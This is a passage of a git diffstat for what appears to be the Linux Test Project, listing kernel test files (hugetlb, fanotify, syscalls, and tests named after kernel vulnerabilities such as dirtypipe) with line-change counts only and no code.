.../kernel/mem/hugetlb/hugemmap/hugemmap01.c | 2 +- .../kernel/mem/hugetlb/hugemmap/hugemmap02.c | 2 +- .../kernel/mem/hugetlb/hugemmap/hugemmap04.c | 2 +- .../kernel/mem/hugetlb/hugemmap/hugemmap05.c | 5 +- .../kernel/mem/hugetlb/hugemmap/hugemmap06.c | 5 +- .../kernel/mem/hugetlb/hugemmap/hugemmap07.c | 132 + .../kernel/mem/hugetlb/hugemmap/hugemmap08.c | 142 + .../kernel/mem/hugetlb/hugemmap/hugemmap09.c | 78 + .../kernel/mem/hugetlb/hugemmap/hugemmap10.c | 460 +++ .../kernel/mem/hugetlb/hugemmap/hugemmap11.c | 86 + .../kernel/mem/hugetlb/hugemmap/hugemmap12.c | 83 + .../kernel/mem/hugetlb/hugemmap/hugemmap13.c | 126 + .../kernel/mem/hugetlb/hugemmap/hugemmap14.c | 159 ++ .../kernel/mem/hugetlb/hugemmap/hugemmap15.c | 245 ++ .../kernel/mem/hugetlb/hugemmap/hugemmap16.c | 83 + .../kernel/mem/hugetlb/hugemmap/hugemmap17.c | 103 + .../kernel/mem/hugetlb/hugemmap/hugemmap18.c | 153 + .../kernel/mem/hugetlb/hugemmap/hugemmap19.c | 147 + .../kernel/mem/hugetlb/hugemmap/hugemmap20.c | 87 + .../kernel/mem/hugetlb/hugemmap/hugemmap21.c | 118 + .../kernel/mem/hugetlb/hugemmap/hugemmap22.c | 91 + .../kernel/mem/hugetlb/hugemmap/hugemmap23.c | 231 ++ .../kernel/mem/hugetlb/hugemmap/hugemmap24.c | 197 ++ .../kernel/mem/hugetlb/hugemmap/hugemmap25.c | 124 + .../kernel/mem/hugetlb/hugemmap/hugemmap26.c | 107 + .../kernel/mem/hugetlb/hugemmap/hugemmap27.c | 123 + .../kernel/mem/hugetlb/hugemmap/hugemmap28.c | 66 + .../kernel/mem/hugetlb/hugemmap/hugemmap29.c | 107 + .../kernel/mem/hugetlb/hugemmap/hugemmap30.c | 75 + .../kernel/mem/hugetlb/hugemmap/hugemmap31.c | 76 + .../kernel/mem/hugetlb/hugemmap/hugemmap32.c | 95 + .../mem/hugetlb/hugeshmat/hugeshmat01.c | 2 +- .../mem/hugetlb/hugeshmat/hugeshmat02.c | 2 +- .../mem/hugetlb/hugeshmat/hugeshmat03.c | 2 +- .../mem/hugetlb/hugeshmat/hugeshmat04.c | 38 +- .../mem/hugetlb/hugeshmat/hugeshmat05.c | 5 +- .../mem/hugetlb/hugeshmctl/hugeshmctl01.c | 31 +- .../mem/hugetlb/hugeshmctl/hugeshmctl02.c | 39 +- .../mem/hugetlb/hugeshmctl/hugeshmctl03.c | 16 +- .../mem/hugetlb/hugeshmdt/hugeshmdt01.c | 2 +- .../mem/hugetlb/hugeshmget/hugeshmget01.c | 2 +- .../mem/hugetlb/hugeshmget/hugeshmget02.c | 2 +- .../mem/hugetlb/hugeshmget/hugeshmget03.c | 4 +- .../mem/hugetlb/hugeshmget/hugeshmget05.c | 2 +- testcases/kernel/mem/hugetlb/lib/hugetlb.c | 19 + testcases/kernel/mem/hugetlb/lib/hugetlb.h | 19 +- testcases/kernel/mem/include/mem.h | 6 +- testcases/kernel/mem/ksm/Makefile | 3 + testcases/kernel/mem/ksm/ksm01.c | 40 +- testcases/kernel/mem/ksm/ksm02.c | 51 +- testcases/kernel/mem/ksm/ksm03.c | 43 +- testcases/kernel/mem/ksm/ksm04.c | 53 +- testcases/kernel/mem/ksm/ksm05.c | 34 +- testcases/kernel/mem/ksm/ksm06.c | 161 +- testcases/kernel/mem/ksm/ksm_common.h | 4 +- testcases/kernel/mem/lib/mem.c | 118 +- testcases/kernel/mem/mmapstress/Makefile | 2 + .../kernel/mem/mmapstress/mmapstress01.c | 887 ++---- .../kernel/mem/mmapstress/mmapstress04.c | 13 +- .../kernel/mem/mmapstress/mmapstress09.c | 1 - .../kernel/mem/mmapstress/mmapstress10.c | 3 +- testcases/kernel/mem/mtest01/mtest01.c | 14 +- testcases/kernel/mem/mtest06/mmap1.c | 28 +- testcases/kernel/mem/mtest06/mmap3.c | 14 +- testcases/kernel/mem/mtest07/mallocstress.c | 11 +- testcases/kernel/mem/oom/oom01.c | 19 +- testcases/kernel/mem/oom/oom02.c | 16 +- testcases/kernel/mem/oom/oom03.c | 40 +- testcases/kernel/mem/oom/oom04.c | 31 +- testcases/kernel/mem/oom/oom05.c | 50 +- testcases/kernel/mem/swapping/swapping01.c | 23 +- testcases/kernel/mem/thp/thp02.c | 5 - testcases/kernel/mem/thp/thp03.c | 1 - testcases/kernel/mem/thp/thp04.c | 5 +- testcases/kernel/mem/tunable/max_map_count.c | 29 +- .../kernel/mem/tunable/min_free_kbytes.c | 18 +- .../kernel/mem/tunable/overcommit_memory.c | 26 +- testcases/kernel/mem/vma/vma01.c | 8 +- testcases/kernel/mem/vma/vma05.sh | 4 +- testcases/kernel/numa/numa01.sh | 15 +- testcases/kernel/numa/support_numa.c | 1 - testcases/kernel/power_management/README | 4 +- .../power_management/pm_get_sched_values.c | 20 +- .../kernel/power_management/pm_include.sh | 27 +- .../kernel/power_management/runpwtests01.sh | 2 +- .../kernel/power_management/runpwtests02.sh | 2 +- .../kernel/power_management/runpwtests03.sh | 2 +- .../kernel/power_management/runpwtests04.sh | 2 +- .../kernel/power_management/runpwtests05.sh | 11 +- .../kernel/power_management/runpwtests06.sh | 8 +- .../runpwtests_exclusive01.sh | 11 +- .../runpwtests_exclusive02.sh | 8 +- .../runpwtests_exclusive03.sh | 11 +- .../runpwtests_exclusive04.sh | 2 +- .../runpwtests_exclusive05.sh | 11 +- testcases/kernel/pty/.gitignore | 2 + testcases/kernel/pty/Makefile | 4 +- testcases/kernel/pty/pty02.c | 2 +- testcases/kernel/pty/pty03.c | 24 +- testcases/kernel/pty/pty04.c | 16 +- testcases/kernel/pty/pty05.c | 3 +- testcases/kernel/pty/pty06.c | 106 + testcases/kernel/pty/pty07.c | 122 + .../kernel/sched/cfs-scheduler/.gitignore | 3 +- .../sched/cfs-scheduler/cfs_bandwidth01.c | 65 +- .../kernel/sched/cfs-scheduler/starvation.c | 113 + testcases/kernel/sched/tool/time-schedule.c | 6 +- .../kernel/security/cap_bound/cap_bounds_r.c | 3 +- .../kernel/security/cap_bound/cap_bounds_rw.c | 7 +- .../security/cap_bound/run_capbounds.sh | 6 - testcases/kernel/security/dirtyc0w/dirtyc0w.c | 2 +- .../kernel/security/dirtyc0w_shmem/.gitignore | 2 + .../kernel/security/dirtyc0w_shmem/Makefile | 8 + .../security/dirtyc0w_shmem/dirtyc0w_shmem.c | 120 + .../dirtyc0w_shmem/dirtyc0w_shmem_child.c | 234 ++ .../kernel/security/dirtypipe/.gitignore | 1 + testcases/kernel/security/dirtypipe/Makefile | 6 + .../kernel/security/dirtypipe/dirtypipe.c | 172 ++ .../security/filecaps/filecaps_common.h | 5 +- .../integrity/ima/src/ima_boot_aggregate.c | 2 +- .../integrity/ima/tests/evm_overlay.sh | 3 +- .../integrity/ima/tests/ima_conditionals.sh | 4 +- .../security/integrity/ima/tests/ima_kexec.sh | 4 +- .../security/integrity/ima/tests/ima_keys.sh | 5 +- .../integrity/ima/tests/ima_measurements.sh | 4 +- .../integrity/ima/tests/ima_policy.sh | 3 +- .../integrity/ima/tests/ima_selinux.sh | 4 +- .../security/integrity/ima/tests/ima_setup.sh | 29 +- .../security/integrity/ima/tests/ima_tpm.sh | 3 +- .../integrity/ima/tests/ima_violations.sh | 6 +- .../security/prot_hsymlinks/prot_hsymlinks.c | 4 - testcases/kernel/sound/snd_seq01.c | 2 +- testcases/kernel/sound/snd_timer01.c | 12 +- testcases/kernel/syscalls/accept/accept02.c | 1 + .../kernel/syscalls/accept4/accept4_01.c | 14 +- testcases/kernel/syscalls/access/access01.c | 9 +- testcases/kernel/syscalls/access/access02.c | 22 +- testcases/kernel/syscalls/access/access03.c | 5 +- testcases/kernel/syscalls/access/access04.c | 71 +- testcases/kernel/syscalls/acct/acct01.c | 84 +- testcases/kernel/syscalls/add_key/add_key05.c | 27 +- .../kernel/syscalls/adjtimex/adjtimex02.c | 13 - .../kernel/syscalls/adjtimex/adjtimex03.c | 13 +- testcases/kernel/syscalls/alarm/alarm02.c | 51 +- testcases/kernel/syscalls/alarm/alarm03.c | 41 +- testcases/kernel/syscalls/alarm/alarm05.c | 31 +- testcases/kernel/syscalls/alarm/alarm06.c | 35 +- testcases/kernel/syscalls/alarm/alarm07.c | 31 +- testcases/kernel/syscalls/bind/bind03.c | 6 +- testcases/kernel/syscalls/bind/bind04.c | 4 +- testcases/kernel/syscalls/bind/bind05.c | 4 +- testcases/kernel/syscalls/bind/bind06.c | 20 +- testcases/kernel/syscalls/bpf/.gitignore | 2 + testcases/kernel/syscalls/bpf/bpf_common.c | 2 +- testcases/kernel/syscalls/bpf/bpf_common.h | 1 + testcases/kernel/syscalls/bpf/bpf_prog01.c | 2 +- testcases/kernel/syscalls/bpf/bpf_prog02.c | 4 +- testcases/kernel/syscalls/bpf/bpf_prog04.c | 1 - testcases/kernel/syscalls/bpf/bpf_prog05.c | 2 - testcases/kernel/syscalls/bpf/bpf_prog06.c | 156 ++ testcases/kernel/syscalls/bpf/bpf_prog07.c | 164 ++ testcases/kernel/syscalls/brk/brk01.c | 39 +- testcases/kernel/syscalls/brk/brk02.c | 48 +- testcases/kernel/syscalls/capset/capset01.c | 18 +- testcases/kernel/syscalls/capset/capset02.c | 20 +- testcases/kernel/syscalls/capset/capset03.c | 10 +- testcases/kernel/syscalls/capset/capset04.c | 8 +- testcases/kernel/syscalls/chdir/chdir01.c | 55 +- testcases/kernel/syscalls/chmod/chmod01.c | 28 +- testcases/kernel/syscalls/chown/chown02.c | 1 + testcases/kernel/syscalls/chroot/chroot03.c | 46 +- .../syscalls/clock_gettime/clock_gettime01.c | 1 - .../syscalls/clock_gettime/clock_gettime03.c | 12 +- .../syscalls/clock_gettime/clock_gettime04.c | 18 +- .../clock_nanosleep/clock_nanosleep03.c | 2 +- .../syscalls/clock_settime/clock_settime02.c | 1 - testcases/kernel/syscalls/clone/clone04.c | 5 + testcases/kernel/syscalls/clone/clone07.c | 2 +- testcases/kernel/syscalls/clone/clone08.c | 44 - testcases/kernel/syscalls/clone/clone09.c | 4 +- testcases/kernel/syscalls/clone3/.gitignore | 1 + testcases/kernel/syscalls/clone3/clone301.c | 4 +- testcases/kernel/syscalls/clone3/clone302.c | 7 +- testcases/kernel/syscalls/clone3/clone303.c | 94 + .../syscalls/close_range/close_range01.c | 4 +- .../syscalls/close_range/close_range02.c | 3 +- testcases/kernel/syscalls/cma/process_vm01.c | 465 ++-- .../kernel/syscalls/cma/process_vm_readv02.c | 219 +- .../kernel/syscalls/cma/process_vm_readv03.c | 339 +-- .../kernel/syscalls/cma/process_vm_writev02.c | 263 +- testcases/kernel/syscalls/confstr/confstr01.c | 164 +- testcases/kernel/syscalls/connect/connect01.c | 2 +- .../copy_file_range/copy_file_range.h | 2 +- .../copy_file_range/copy_file_range01.c | 1 + .../copy_file_range/copy_file_range02.c | 2 +- .../copy_file_range/copy_file_range03.c | 2 +- testcases/kernel/syscalls/creat/creat07.c | 10 +- testcases/kernel/syscalls/creat/creat09.c | 31 +- .../syscalls/delete_module/delete_module01.c | 30 +- .../syscalls/delete_module/delete_module03.c | 3 +- .../syscalls/delete_module/dummy_del_mod.c | 2 - testcases/kernel/syscalls/dup/dup01.c | 25 +- testcases/kernel/syscalls/dup/dup02.c | 34 +- testcases/kernel/syscalls/dup/dup03.c | 34 +- testcases/kernel/syscalls/dup/dup04.c | 44 +- testcases/kernel/syscalls/dup/dup05.c | 46 +- testcases/kernel/syscalls/dup2/dup203.c | 4 +- testcases/kernel/syscalls/dup2/dup204.c | 15 +- testcases/kernel/syscalls/dup2/dup207.c | 2 +- .../syscalls/epoll_create1/epoll_create1_01.c | 1 - .../kernel/syscalls/epoll_ctl/epoll_ctl01.c | 2 +- .../kernel/syscalls/epoll_ctl/epoll_ctl02.c | 4 +- .../kernel/syscalls/epoll_ctl/epoll_ctl03.c | 3 +- .../kernel/syscalls/epoll_ctl/epoll_ctl04.c | 5 +- .../kernel/syscalls/epoll_ctl/epoll_ctl05.c | 6 +- .../syscalls/epoll_pwait/epoll_pwait01.c | 17 +- .../syscalls/epoll_pwait/epoll_pwait02.c | 6 +- .../syscalls/epoll_pwait/epoll_pwait03.c | 4 +- .../syscalls/epoll_pwait/epoll_pwait04.c | 6 +- .../syscalls/epoll_pwait/epoll_pwait05.c | 6 +- .../syscalls/epoll_pwait/epoll_pwait_var.h | 9 +- .../kernel/syscalls/epoll_wait/.gitignore | 3 + .../kernel/syscalls/epoll_wait/epoll_wait01.c | 6 +- .../kernel/syscalls/epoll_wait/epoll_wait02.c | 2 +- .../kernel/syscalls/epoll_wait/epoll_wait03.c | 2 +- .../kernel/syscalls/epoll_wait/epoll_wait04.c | 2 +- .../kernel/syscalls/epoll_wait/epoll_wait05.c | 126 + .../kernel/syscalls/epoll_wait/epoll_wait06.c | 107 + .../kernel/syscalls/epoll_wait/epoll_wait07.c | 73 + testcases/kernel/syscalls/eventfd/.gitignore | 5 + testcases/kernel/syscalls/eventfd/eventfd01.c | 751 +---- testcases/kernel/syscalls/eventfd/eventfd02.c | 53 + testcases/kernel/syscalls/eventfd/eventfd03.c | 57 + testcases/kernel/syscalls/eventfd/eventfd04.c | 60 + testcases/kernel/syscalls/eventfd/eventfd05.c | 47 + testcases/kernel/syscalls/eventfd/eventfd06.c | 174 ++ testcases/kernel/syscalls/eventfd2/eventfd2.h | 18 + .../kernel/syscalls/eventfd2/eventfd2_01.c | 152 +- .../kernel/syscalls/eventfd2/eventfd2_02.c | 151 +- .../kernel/syscalls/eventfd2/eventfd2_03.c | 133 +- testcases/kernel/syscalls/execlp/execlp01.c | 2 +- testcases/kernel/syscalls/execve/.gitignore | 2 + testcases/kernel/syscalls/execve/execve01.c | 2 +- testcases/kernel/syscalls/execve/execve02.c | 10 +- testcases/kernel/syscalls/execve/execve04.c | 10 +- testcases/kernel/syscalls/execve/execve05.c | 10 +- testcases/kernel/syscalls/execve/execve06.c | 51 + .../kernel/syscalls/execve/execve06_child.c | 27 + .../kernel/syscalls/execveat/execveat01.c | 10 +- .../kernel/syscalls/execveat/execveat02.c | 10 +- .../kernel/syscalls/execveat/execveat03.c | 10 +- testcases/kernel/syscalls/exit/exit02.c | 2 +- .../kernel/syscalls/exit_group/exit_group01.c | 2 +- .../kernel/syscalls/faccessat/.gitignore | 1 + .../kernel/syscalls/faccessat/faccessat01.c | 207 +- .../kernel/syscalls/faccessat/faccessat02.c | 67 + .../kernel/syscalls/faccessat2/.gitignore | 2 + testcases/kernel/syscalls/faccessat2/Makefile | 9 + .../kernel/syscalls/faccessat2/faccessat201.c | 88 + .../kernel/syscalls/faccessat2/faccessat202.c | 102 + .../kernel/syscalls/fadvise/posix_fadvise04.c | 1 - .../kernel/syscalls/fallocate/fallocate02.c | 2 +- .../kernel/syscalls/fallocate/fallocate04.c | 16 +- .../kernel/syscalls/fallocate/fallocate05.c | 2 +- .../kernel/syscalls/fallocate/fallocate06.c | 6 +- testcases/kernel/syscalls/fanotify/.gitignore | 1 + testcases/kernel/syscalls/fanotify/fanotify.h | 207 +- .../kernel/syscalls/fanotify/fanotify01.c | 30 +- .../kernel/syscalls/fanotify/fanotify02.c | 16 +- .../kernel/syscalls/fanotify/fanotify03.c | 14 +- .../kernel/syscalls/fanotify/fanotify04.c | 25 +- .../kernel/syscalls/fanotify/fanotify05.c | 15 +- .../kernel/syscalls/fanotify/fanotify06.c | 17 +- .../kernel/syscalls/fanotify/fanotify07.c | 8 +- .../kernel/syscalls/fanotify/fanotify08.c | 5 +- .../kernel/syscalls/fanotify/fanotify09.c | 320 ++- .../kernel/syscalls/fanotify/fanotify10.c | 851 ++++-- .../kernel/syscalls/fanotify/fanotify11.c | 4 +- .../kernel/syscalls/fanotify/fanotify12.c | 20 +- .../kernel/syscalls/fanotify/fanotify13.c | 67 +- .../kernel/syscalls/fanotify/fanotify14.c | 351 ++- .../kernel/syscalls/fanotify/fanotify15.c | 9 +- .../kernel/syscalls/fanotify/fanotify16.c | 286 +- .../kernel/syscalls/fanotify/fanotify17.c | 6 +- .../kernel/syscalls/fanotify/fanotify18.c | 14 +- .../kernel/syscalls/fanotify/fanotify19.c | 21 +- .../kernel/syscalls/fanotify/fanotify20.c | 81 +- .../kernel/syscalls/fanotify/fanotify21.c | 12 +- .../kernel/syscalls/fanotify/fanotify22.c | 43 +- .../kernel/syscalls/fanotify/fanotify23.c | 264 ++ testcases/kernel/syscalls/fchmod/fchmod02.c | 20 +- testcases/kernel/syscalls/fchmod/fchmod03.c | 186 +- testcases/kernel/syscalls/fchmod/fchmod04.c | 215 +- testcases/kernel/syscalls/fchmod/fchmod06.c | 2 +- .../kernel/syscalls/fchmodat/fchmodat01.c | 165 +- testcases/kernel/syscalls/fchown/fchown02.c | 1 + testcases/kernel/syscalls/fchownat/fchownat.h | 2 +- .../kernel/syscalls/fchownat/fchownat01.c | 3 - .../kernel/syscalls/fchownat/fchownat02.c | 3 - testcases/kernel/syscalls/fcntl/.gitignore | 4 +- testcases/kernel/syscalls/fcntl/fcntl05.c | 196 +- testcases/kernel/syscalls/fcntl/fcntl11.c | 12 +- testcases/kernel/syscalls/fcntl/fcntl15.c | 2 +- testcases/kernel/syscalls/fcntl/fcntl18.c | 6 +- testcases/kernel/syscalls/fcntl/fcntl19.c | 6 +- testcases/kernel/syscalls/fcntl/fcntl20.c | 8 +- testcases/kernel/syscalls/fcntl/fcntl21.c | 6 +- testcases/kernel/syscalls/fcntl/fcntl29.c | 4 - testcases/kernel/syscalls/fcntl/fcntl30.c | 115 +- testcases/kernel/syscalls/fcntl/fcntl31.c | 34 +- testcases/kernel/syscalls/fcntl/fcntl33.c | 2 +- testcases/kernel/syscalls/fcntl/fcntl34.c | 12 +- testcases/kernel/syscalls/fcntl/fcntl35.c | 1 - testcases/kernel/syscalls/fcntl/fcntl36.c | 16 +- testcases/kernel/syscalls/fcntl/fcntl37.c | 2 +- testcases/kernel/syscalls/fcntl/fcntl39.c | 132 + .../kernel/syscalls/fcntl/fcntl_common.h | 81 +- .../kernel/syscalls/fgetxattr/fgetxattr01.c | 2 +- .../kernel/syscalls/fgetxattr/fgetxattr02.c | 10 +- .../kernel/syscalls/fgetxattr/fgetxattr03.c | 2 +- .../syscalls/finit_module/finit_module01.c | 5 +- .../syscalls/finit_module/finit_module02.c | 12 +- .../kernel/syscalls/flistxattr/flistxattr01.c | 2 +- testcases/kernel/syscalls/fork/.gitignore | 1 - testcases/kernel/syscalls/fork/fork01.c | 249 +- testcases/kernel/syscalls/fork/fork03.c | 144 +- testcases/kernel/syscalls/fork/fork05.c | 2 +- testcases/kernel/syscalls/fork/fork13.c | 171 +- testcases/kernel/syscalls/fsconfig/.gitignore | 1 + .../kernel/syscalls/fsconfig/fsconfig03.c | 97 + .../kernel/syscalls/fsetxattr/fsetxattr01.c | 2 +- .../kernel/syscalls/fsetxattr/fsetxattr02.c | 2 +- testcases/kernel/syscalls/fstat/fstat02.c | 60 +- testcases/kernel/syscalls/fstatat/fstatat01.c | 9 +- testcases/kernel/syscalls/fstatfs/fstatfs01.c | 126 +- testcases/kernel/syscalls/fstatfs/fstatfs02.c | 126 +- testcases/kernel/syscalls/fsync/fsync01.c | 2 +- testcases/kernel/syscalls/fsync/fsync02.c | 16 +- .../kernel/syscalls/ftruncate/ftruncate03.c | 21 +- testcases/kernel/syscalls/futex/.gitignore | 3 + testcases/kernel/syscalls/futex/Makefile | 17 +- testcases/kernel/syscalls/futex/futex2test.h | 30 + .../syscalls/futex/futex_cmp_requeue01.c | 3 +- .../syscalls/futex/futex_cmp_requeue02.c | 2 +- testcases/kernel/syscalls/futex/futex_utils.h | 38 +- .../kernel/syscalls/futex/futex_waitv01.c | 172 ++ .../kernel/syscalls/futex/futex_waitv02.c | 97 + .../kernel/syscalls/futex/futex_waitv03.c | 118 + .../kernel/syscalls/futex/futex_wake04.c | 7 +- testcases/kernel/syscalls/futex/futextest.h | 62 +- .../kernel/syscalls/futimesat/futimesat01.c | 5 +- .../get_robust_list/get_robust_list01.c | 10 +- .../kernel/syscalls/getcontext/getcontext01.c | 95 +- testcases/kernel/syscalls/getcpu/getcpu01.c | 40 +- testcases/kernel/syscalls/getcwd/getcwd02.c | 27 +- testcases/kernel/syscalls/geteuid/geteuid01.c | 91 +- testcases/kernel/syscalls/geteuid/geteuid02.c | 89 +- .../kernel/syscalls/getgroups/getgroups01.c | 2 +- .../syscalls/gethostname/gethostname01.c | 166 +- .../kernel/syscalls/getitimer/getitimer01.c | 160 +- .../kernel/syscalls/getitimer/getitimer02.c | 47 +- .../syscalls/getpagesize/getpagesize01.c | 112 +- testcases/kernel/syscalls/getpgid/getpgid01.c | 156 +- testcases/kernel/syscalls/getpgid/getpgid02.c | 143 +- testcases/kernel/syscalls/getpgrp/getpgrp01.c | 166 +- testcases/kernel/syscalls/getpid/getpid02.c | 1 + .../kernel/syscalls/getrandom/getrandom01.c | 2 +- .../kernel/syscalls/getrandom/getrandom02.c | 2 +- .../kernel/syscalls/getrandom/getrandom03.c | 2 +- .../kernel/syscalls/getrandom/getrandom04.c | 2 +- .../kernel/syscalls/getrlimit/getrlimit01.c | 14 +- .../kernel/syscalls/getrlimit/getrlimit02.c | 27 +- .../kernel/syscalls/getrusage/getrusage03.c | 6 +- .../kernel/syscalls/getrusage/getrusage03.h | 2 + .../kernel/syscalls/getrusage/getrusage04.c | 11 +- testcases/kernel/syscalls/getsid/getsid01.c | 169 +- testcases/kernel/syscalls/getsid/getsid02.c | 86 +- .../syscalls/gettimeofday/gettimeofday01.c | 2 +- .../syscalls/gettimeofday/gettimeofday02.c | 15 +- .../kernel/syscalls/getxattr/getxattr02.c | 11 +- .../kernel/syscalls/getxattr/getxattr05.c | 7 +- .../syscalls/init_module/init_module01.c | 3 +- .../syscalls/init_module/init_module02.c | 9 +- testcases/kernel/syscalls/inotify/.gitignore | 2 + testcases/kernel/syscalls/inotify/inotify02.c | 15 - testcases/kernel/syscalls/inotify/inotify04.c | 27 +- testcases/kernel/syscalls/inotify/inotify05.c | 4 +- testcases/kernel/syscalls/inotify/inotify06.c | 7 +- testcases/kernel/syscalls/inotify/inotify09.c | 3 +- testcases/kernel/syscalls/inotify/inotify11.c | 133 + testcases/kernel/syscalls/inotify/inotify12.c | 168 ++ .../syscalls/inotify_init/inotify_init1_01.c | 202 +- .../syscalls/inotify_init/inotify_init1_02.c | 199 +- .../syscalls/io_pgetevents/io_pgetevents01.c | 9 +- .../kernel/syscalls/io_submit/io_submit01.c | 16 +- .../kernel/syscalls/io_submit/io_submit02.c | 11 +- .../kernel/syscalls/io_uring/io_uring01.c | 5 + .../kernel/syscalls/io_uring/io_uring02.c | 5 + testcases/kernel/syscalls/ioctl/Makefile | 2 + testcases/kernel/syscalls/ioctl/ioctl01.c | 92 +- testcases/kernel/syscalls/ioctl/ioctl03.c | 7 +- testcases/kernel/syscalls/ioctl/ioctl08.c | 4 +- .../kernel/syscalls/ioctl/ioctl_loop01.c | 20 +- .../kernel/syscalls/ioctl/ioctl_loop02.c | 13 +- .../kernel/syscalls/ioctl/ioctl_loop03.c | 9 +- .../kernel/syscalls/ioctl/ioctl_loop04.c | 14 +- .../kernel/syscalls/ioctl/ioctl_loop05.c | 17 +- .../kernel/syscalls/ioctl/ioctl_loop06.c | 9 +- .../kernel/syscalls/ioctl/ioctl_loop07.c | 15 +- testcases/kernel/syscalls/ioctl/ioctl_ns01.c | 14 +- testcases/kernel/syscalls/ioctl/ioctl_ns02.c | 13 +- testcases/kernel/syscalls/ioctl/ioctl_ns03.c | 15 +- testcases/kernel/syscalls/ioctl/ioctl_ns04.c | 11 +- testcases/kernel/syscalls/ioctl/ioctl_ns05.c | 12 +- testcases/kernel/syscalls/ioctl/ioctl_ns06.c | 12 +- testcases/kernel/syscalls/ioctl/ioctl_ns07.c | 8 +- testcases/kernel/syscalls/ioctl/ioctl_sg01.c | 1 + testcases/kernel/syscalls/ioctl/test_ioctl | 23 - testcases/kernel/syscalls/ioperm/ioperm01.c | 11 +- testcases/kernel/syscalls/ioperm/ioperm02.c | 15 +- testcases/kernel/syscalls/ioprio/ioprio.h | 31 +- .../kernel/syscalls/ioprio/ioprio_get01.c | 9 +- .../kernel/syscalls/ioprio/ioprio_set01.c | 9 +- .../kernel/syscalls/ioprio/ioprio_set02.c | 9 +- .../kernel/syscalls/ioprio/ioprio_set03.c | 11 +- .../kernel/syscalls/ipc/msgctl/msgctl01.c | 2 +- .../kernel/syscalls/ipc/msgget/msgget02.c | 6 +- .../kernel/syscalls/ipc/msgget/msgget03.c | 9 +- .../kernel/syscalls/ipc/msgrcv/msgrcv03.c | 1 - .../kernel/syscalls/ipc/msgrcv/msgrcv07.c | 3 +- .../syscalls/ipc/msgstress/msgstress01.c | 2 +- .../syscalls/ipc/msgstress/msgstress02.c | 2 +- .../syscalls/ipc/msgstress/msgstress03.c | 7 +- .../kernel/syscalls/ipc/semctl/semctl03.c | 12 +- .../kernel/syscalls/ipc/semget/.gitignore | 2 - testcases/kernel/syscalls/ipc/semget/Makefile | 4 +- .../kernel/syscalls/ipc/semget/semget01.c | 187 +- .../kernel/syscalls/ipc/semget/semget02.c | 221 +- .../kernel/syscalls/ipc/semget/semget05.c | 189 +- .../kernel/syscalls/ipc/semop/.gitignore | 2 + testcases/kernel/syscalls/ipc/semop/Makefile | 5 +- testcases/kernel/syscalls/ipc/semop/semop04.c | 93 + testcases/kernel/syscalls/ipc/semop/semop05.c | 157 ++ .../kernel/syscalls/ipc/shmctl/shmctl05.c | 4 +- testcases/kernel/syscalls/ipc/shmdt/Makefile | 4 +- testcases/kernel/syscalls/ipc/shmdt/shmdt01.c | 246 +- testcases/kernel/syscalls/ipc/shmdt/shmdt02.c | 134 +- .../kernel/syscalls/ipc/shmget/shmget02.c | 30 +- testcases/kernel/syscalls/kcmp/kcmp01.c | 3 +- testcases/kernel/syscalls/kcmp/kcmp02.c | 3 +- testcases/kernel/syscalls/kcmp/kcmp03.c | 4 +- testcases/kernel/syscalls/keyctl/.gitignore | 1 + testcases/kernel/syscalls/keyctl/keyctl02.c | 7 + testcases/kernel/syscalls/keyctl/keyctl07.c | 2 +- testcases/kernel/syscalls/keyctl/keyctl08.c | 1 - testcases/kernel/syscalls/keyctl/keyctl09.c | 60 + testcases/kernel/syscalls/linkat/linkat01.c | 11 +- testcases/kernel/syscalls/linkat/linkat02.c | 5 +- testcases/kernel/syscalls/llseek/Makefile | 2 + testcases/kernel/syscalls/llseek/llseek01.c | 16 +- testcases/kernel/syscalls/llseek/llseek02.c | 12 +- testcases/kernel/syscalls/llseek/llseek03.c | 8 +- testcases/kernel/syscalls/lseek/lseek01.c | 19 +- testcases/kernel/syscalls/lseek/lseek07.c | 23 +- testcases/kernel/syscalls/lseek/lseek11.c | 13 +- testcases/kernel/syscalls/madvise/.gitignore | 2 + testcases/kernel/syscalls/madvise/Makefile | 2 + testcases/kernel/syscalls/madvise/madvise01.c | 5 +- testcases/kernel/syscalls/madvise/madvise02.c | 13 +- testcases/kernel/syscalls/madvise/madvise03.c | 66 + testcases/kernel/syscalls/madvise/madvise05.c | 1 - testcases/kernel/syscalls/madvise/madvise06.c | 66 +- testcases/kernel/syscalls/madvise/madvise07.c | 1 - testcases/kernel/syscalls/madvise/madvise08.c | 10 +- testcases/kernel/syscalls/madvise/madvise10.c | 1 - testcases/kernel/syscalls/madvise/madvise11.c | 438 +++ testcases/kernel/syscalls/mbind/mbind01.c | 6 - .../syscalls/memfd_create/memfd_create02.c | 4 +- .../syscalls/memfd_create/memfd_create03.c | 74 +- .../syscalls/memfd_create/memfd_create04.c | 29 +- .../syscalls/migrate_pages/migrate_pages01.c | 20 +- .../syscalls/migrate_pages/migrate_pages02.c | 11 +- .../syscalls/migrate_pages/migrate_pages03.c | 7 +- testcases/kernel/syscalls/mincore/mincore01.c | 8 +- testcases/kernel/syscalls/mkdir/Makefile | 2 + testcases/kernel/syscalls/mkdir/mkdir09.c | 497 +--- testcases/kernel/syscalls/mknod/mknod01.c | 137 +- testcases/kernel/syscalls/mknod/mknod02.c | 316 +-- testcases/kernel/syscalls/mknodat/mknodat.h | 2 +- testcases/kernel/syscalls/mknodat/mknodat01.c | 3 - testcases/kernel/syscalls/mknodat/mknodat02.c | 7 +- testcases/kernel/syscalls/mlock/mlock01.c | 159 +- testcases/kernel/syscalls/mlock/mlock02.c | 221 +- testcases/kernel/syscalls/mlock/mlock03.c | 131 +- testcases/kernel/syscalls/mlock/mlock04.c | 110 +- testcases/kernel/syscalls/mlock2/mlock201.c | 1 - testcases/kernel/syscalls/mlock2/mlock202.c | 1 - testcases/kernel/syscalls/mlock2/mlock203.c | 1 - .../kernel/syscalls/mlockall/mlockall02.c | 35 +- testcases/kernel/syscalls/mmap/.gitignore | 2 +- testcases/kernel/syscalls/mmap/mmap02.c | 204 +- testcases/kernel/syscalls/mmap/mmap05.c | 220 +- testcases/kernel/syscalls/mmap/mmap06.c | 176 +- testcases/kernel/syscalls/mmap/mmap08.c | 155 +- testcases/kernel/syscalls/mmap/mmap12.c | 1 - testcases/kernel/syscalls/mmap/mmap16.c | 333 +-- testcases/kernel/syscalls/mmap/mmap17.c | 5 +- testcases/kernel/syscalls/mmap/mmap19.c | 4 +- testcases/kernel/syscalls/mmap/mmap20.c | 64 + testcases/kernel/syscalls/mount/.gitignore | 3 +- testcases/kernel/syscalls/mount/mount03.c | 556 ++-- .../syscalls/mount/mount03_suid_child.c | 25 + testcases/kernel/syscalls/mount/mount07.c | 177 ++ .../kernel/syscalls/mount_setattr/.gitignore | 1 + 